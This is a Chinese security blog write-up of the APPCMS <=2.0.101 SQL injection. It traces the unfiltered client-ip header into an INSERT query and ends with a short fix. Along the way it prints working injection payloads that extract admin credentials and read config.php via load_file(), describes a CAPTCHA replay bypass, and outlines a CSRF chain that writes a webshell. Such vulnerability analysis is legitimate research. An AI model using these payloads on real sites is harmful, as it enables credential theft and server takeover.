前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >技术分享 | 深入分析APPCMS<=2.0.101 sql注入漏洞

技术分享 | 深入分析APPCMS<=2.0.101 sql注入漏洞

作者头像
安恒网络空间安全讲武堂
发布2018-02-06 12:17:26
1.7K0
发布2018-02-06 12:17:26
举报

目录

0x00 前言

0x01 漏洞分析--代码审计

0x02 漏洞利用

1.sql注入出后台账号、密码、安全码

2.二次漏洞利用:sql注入+csrf getshell

0x03 漏洞修复

-----从sql注入到csrf最后getshell----

0x00 前言

CNVD公布日期2017-08-15

http://www.cnvd.org.cn/flaw/show/CNVD-2017-13891

漏洞影响版本 appcms <=2.0.101

APPCMS官方站点:http://www.appcms.cc/

AppCMS 2.0.101版本

完整包下载地址:http://www.appcms.cc/download/appcms_2.0.101.zip

CNVD公布只介绍了comment.php文件存在sql注入,并没有公开详细的描述,下面笔者进行代码审计深入分析一下并对其进行漏洞利用介绍。

0x01 漏洞分析后的总结

漏洞发生在comment.php文件的第79行,$fields['ip']的值满足用户可控且数据未经过安全处理直接拼接传入SQL语句,造成了insert注入。

$fields['ip']的值就是http头client-ip字段的值,我们可以通过burp抓包来控制。

下面是漏洞分析详细过程:

CNVD上说的在comment.php文件中有一个SQL注入漏洞,所以可以先关注comment.php文件中涉及SQL操作的代码

经过分析发现漏洞发生在comment.php文件的第79行,

$fields['ip']的值满足用户可控且数据未经过安全处理直接拼接传入SQL语句,造成了insert注入。

分析helper :: getip()

getenv — 获取一个环境变量的值

string getenv ( string $varname )

使用 phpinfo() 你可以看到所有环境变量的列表。

参数

varname 变量名。

返回值:返回环境变量 varname 的值, 如果环境变量 varname 不存在则返回 FALSE。

getenv('HTTP_CLIENT_IP')也就是获取传递过去的CLIENT_IP的值,即在请求包中http头的client_ip字段对应的值,也就是这里导致了我们可以输入用户可控的数据。

int strcasecmp ( string $str1 , string $str2 ) 二进制安全比较字符串(不区分大小写)。

参数

str1 第一个字符串。

str2 第二个字符串。

返回值 如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

$onlineip = '';

if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown'))

{$onlineip = getenv('HTTP_CLIENT_IP');}

这里的意思就是当client_ip存在而且getenv('HTTP_CLIENT_IP')的返回值不为unknown时,就会直接把client_ip的值赋值给$onlineip 变量。

分析single_insert()--在upload/core/database.class.php第102行

substr — 返回字符串的子串

string substr ( string $string , int $start [, int $length ] )

返回字符串 string 由 start 和 length 参数指定的子字符串。

参数

string 输入字符串。必须至少有一个字符。

start 如果 start 是非负数,返回的字符串将从 string 的 start 位置开始,从 0 开始计算。例如,在字符串 “abcdef” 中,在位置 0 的字符是 “a”,位置 2 的字符串是 “c” 等等。

如果 start 是负数,返回的字符串将从 string 结尾处向前数第 start 个字符开始。

如果 string 的长度小于 start,将返回 FALSE。

代码语言:js
复制
foreach($fields as $key => $value) {
            $sql_field .= ",$key";
            $sql_value .= ",'$value'";
        }
        $sql_field = substr($sql_field, 1);
        $sql_value = substr($sql_value, 1);

这里主要是需要把开头那个多余的逗号给截断掉,这样就能够正确的拼接进sql语句当中了。

分析到这里传进来的client_ip变量都没有出现被过滤的情况

分析query_insert()

这里直接就拼接执行了,对于client_ip变量从头到尾什么过滤都没做

总结一下:

漏洞发生在comment.php文件的第79行,$fields['ip']的值满足用户可控且数据未经过安全处理直接拼接传入SQL语句,造成了insert注入。

$fields['ip']的值就是http头client-ip字段的值,我们可以通过burp抓包来控制。

0x02漏洞利用

一、sql注入出后台账号、密码、安全码

  • 读comment.php逻辑知道,我们要先传递一个get参数m=add上去,让脚本调用m__add()方法,然后才能触发漏洞。
  • 还要满足变量$page['post']['comment']不能为空
  • 而且验证码要正确
  • 而且要为post的方式提交才行
  • 为了方便构造payload我这里把upload/core/database.class.php文件中
  • single_insert($table_name, $fields)方法中最后执行的sql语句也打印出来了

发表评论的页面在

http://127.0.0.1/appcms_2.0.101/index.php?tpl=content_app&id=1

(这个找了好久啊啊!!真是哭死!)

这一个页面是动态生成的,我把这个页面的html源码复制下来到本地分析,发现除了user 验证码和comment外,还有三个隐含的参数也需要提交,id,type,parent_id(当然也可以先直接抓个包分析一下,这样更快捷!更准确!)

对比一下

可以看到,现在我们的sql语句也已经打印出来了。

经过测试知道,验证码错误的返回码code为140,而发表成功的code返回值为0

这里经过多次尝试在burp中不改变请求包中的验证码的值多次提交过去,能够得到code:0的回显的,也就是这里这个验证码验证是可以被绕过的!直接提交一次之后不变就可以了。(但前提是原来的页面不要去刷新它,不然验证码就失效了。直接使用burp的repeater来重放包)

可以看到,这里确实是被成功注入了的!

注意:这里注入的时候使用的是 client-ip而不是client_ip,不要混淆了php中获取时使用的getenv('HTTP_CLIENT_IP') 这里才是用下划线,而请求包中应该使用横杆-

(1)一些知识

原来的test1表中的内容

执行了

insert into test1(id,name,pwd) values(5,'mmm','mmmpwd'),(6,'jjj','jjjpwd');后

相当于同时执行了两条插入语句。

正是由于mysql中的这个特性导致了这里可以注入成功(可以允许使用逗号来分隔实现同时插入多条数据)

(2) 构造payload获取用户名密码

所以可以直接使用如下的语句将查询结果插入到content和uname,然后回显到前台的用户名和回复内容位置。

PAYLOAD:

client-ip:2.2.2.2'),('1','0','0',(select upass from appcms_admin_list where uid='1'),(select uname from appcms_admin_list where uid='1'),'1511885595817',1)#)

分析过程如下

insert into appcms_comment (id,type,parent_id,content,uname,date_add,ip) values ('1','0','0','aaaaaaaaaaaaaaaaaa','jaivy','1511926381','127.0.0.1');

然后观察评论的回显

可以看到有几个地方是在插入了数据之后又回显出来的,

content,uname,date_add和ip

所以这里我们可以选择content和uname这两个地方作为数据的回显

insert into appcms_comment (id,type,parent_id,content,uname,date_add,ip) values ('1','0','0','charuliangtiao','jaivy','1511926381','2.2.2.2'),('1','0','0',(select upass from appcms_admin_list where uid='1'),(select uname from appcms_admin_list where uid='1'),'1511885595817',1)#)

这样的话我们就能够使用insert注入成功,把后台账号插进了uname字段,把后台密码插进了content字段,又由于appcms的后台会把uname和content里面的内容取出来回显,所以我们就能得到后台的账号密码了。

值得注意的是,我们上面的插入是在id=1这个页面,如果我们希望在id=2这个页面插入数据并看到回显的话,我们要做相应的修改,这里的appcms_comment

表有个id字段,我们要把对应的值改一下就可以了。

即sql语句改成如下这样

这里得到的密码是经过加密的,根据admin/index.php中的这条判断我们知道后台的密码是经过password_encrypt这个函数加密的

所以解密过程就是要进行三次md5解密

  • 解密 24fc9330260c0c7ed68e11a70c894f18
  • 得到 0b77520f93de693bdab0060746e38165
  • 解密 0b77520f93de693bdab0060746e38165
  • 得到 7fef6171469e80d32c0559f88b377245
  • 解密 7fef6171469e80d32c0559f88b377245
  • 得到密码明文 admin888

(3)构造payload获取安全码

此时就获得到站点的用户名和密码,接下来要获取安全码,这里使用mysql的load_file()来读取\core\config.php文件,安全码等敏感信息就在该文件里面。

可以使用去掉payload后面的#导致报错等方式得到网站的绝对路径,因为在\core\init.php中默认开启了错误提示,所以可以利用错误信息得到绝对路径。

得到了core文件夹的绝对路径,所以我们就能知道要读取的文件的绝对路径为

E:\phpStudy\WWW\appcms_2.0.101\core\config.php

注意使用loadfile读取文件的时候应该使用双重反斜杠(进行转义)

还有就是这里content列是使用varchar,长度是500,所以直接使用load_file()是无法获得安全码的,因此使用了substr进行了截断,截断范围大致是 从480开始 然后截断400个字符长度,此处没有精准计算,但是已经将安全码写到content列中了。

PAYLOAD:

client-ip:1.1.1.1'),('1','0','0',(substr(load_file('E:\\phpStudy\\WWW\\appcms_2.0.101\\core\\config.php'),480,400)),'jaivy','1511942803','11.11.11.11')#

可以看到安全码已经被注入出来了 这里是 123456

此时已经得到用户名,密文密码,安全码,但是APPCMS安装完毕后强制更改后台地址,所以就是拿到这3个敏感信息也难以登录后进行其他操作

在admin/index.php中有以下逻辑

二、二次漏洞利用:sql注入+csrf getshell

下面利用结合sql注入和csrf进行写马操作。

先构造好我们的恶意js,并存放在

http://127.0.0.1/xss/jaivy_test2.js 这个路径下

接着我们回到评论页面,发表评论,如图

接着我们模拟管理员登录后台并查看并审核用户发表的评论

模拟管理员访问页面http://127.0.0.1/appcms_2.0.101/houtai/comment.php

为了更好的理解这个过程,我们对这个过程进行抓包分析一下

管理员访问页面http://127.0.0.1/appcms_2.0.101/houtai/comment.php

点击一下forward,这时自动执行了我们的恶意js,创建一个muma.php文件

再点击一下forward,这时是、向muma.php文件中写入一句话木马

我们这个js脚本写入的木马的相对路径在

templates/default/muma.php

这里我们可以结合sql注入报错来组合得到完整的路径信息,在client-ip字段加一个单引号就可以报错了

所以最后拼接得到的木马的路径为

http://127.0.0.1/appcms_2.0.10/templates/default/muma.php

为了验证,我们这里查看一下这个路径下是否有个muma.php文件,并查看里面的内容。

确实是成功写入了,下面就直接使用菜刀连接就可以了。

0x03漏洞修复

因为这里的核心原因是没有对$fields['ip'] 这个变量做过滤,也没有检查它是否合法,所以这里简单的给出一个修复方案,在comment.php的79行后面添加两行代码,如图

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2017-12-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
验证码
腾讯云新一代行为验证码(Captcha),基于十道安全栅栏, 为网页、App、小程序开发者打造立体、全面的人机验证。最大程度保护注册登录、活动秒杀、点赞发帖、数据保护等各大场景下业务安全的同时,提供更精细化的用户体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档